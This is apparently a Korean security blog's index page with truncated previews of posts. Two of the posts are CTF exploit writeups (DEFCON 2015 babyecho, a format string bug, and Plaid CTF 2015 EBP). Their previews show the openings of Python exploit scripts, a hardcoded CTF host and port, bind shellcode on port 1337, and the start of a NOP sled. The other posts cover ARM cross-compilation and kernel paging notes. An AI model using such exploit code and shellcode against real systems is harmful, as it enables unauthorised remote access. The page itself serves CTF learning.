본문 바로가기
반응형

Security100

[exploit] DEFCON CTF Qualifier 2015, babyecho Writeups [+[ Format String Bug #!/usr/bin/env python import socket import struct import telnetlib p = lambda x: struct.pack( " 2015. 5. 18.
ARM 어셈블리어 Cross compile하기 일반 intel아키텍처에서 ARM아키텍처의 프로그램을 생성하는 크로스컴파일을 간략히 설명한다.테스트 환경은 Ubuntu 14.04 64bit 이다.$ uname -a Linux bk 3.13.0-51-generic #84-Ubuntu SMP Wed Apr 15 12:08:34 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux 그럼 크로스컴파일을 하기전에 apt-get install을 이용하여 아래의 파일들을 다운받는다. [+] 설치 할 항목 sudo apt-get install qemu-user libc6-armel-cross libc6-dev-armel-cross binutils-arm-linux-gnueabi gcc-arm-linux-gnueabi그리고 간단한 어셈코드를 코딩할건.. 2015. 4. 28.
[exploit] Plaid CTF 2015 EBP writeup [+] keyword : double format string bug, overwrite ebp [!] 코드가 많이 복잡합니다 ㅎㅎ 그래도 코드만 올릴게요 :D [!] 쉘코드는 bind shellcode를 이용하여 1337번 포트로 재접속하는 쉘코드를 사용했습니다. #!/usr/bin/env python import struct import socket import time import telnetlib p = lambda x: struct.pack( "I", x )[0] host = "52.6.64.173" port = 4545 # bind shellcode # ip : 0.0.0.0, port : 1337 shellcode = "\x90\x90\x90\x90\x90\x90\x90\x90\x90" sh.. 2015. 4. 24.
커널&페이징 관련 간단히 메모 PTE : Page Table Entry - 프로세스의 페이지 정보를 담고있는 테이블이다. - Page 기본주소, 플래그 비트(접근비트, 현재비트, 변경비트, 읽기/쓰기 비트) 저장한다. PAE : Physical Address Extension, 물리 주소 확장 - 32bit환경에서는 4Gbyte이상의 메모리가 있어도 제대로 활용을 못한다. - 하지만 PAE기능으로 그 이상의 메모리가 사용가능하다. - 32bit == 2^32 == 4,294,967,296 == 4G byte - cr4 register가 설정됨으로써 PAE가 설정된다. CR0 The CR0 32-bit register has 6 bits that are of interest to us. The low 5 bits of the CR0 r.. 2015. 2. 11.
728x90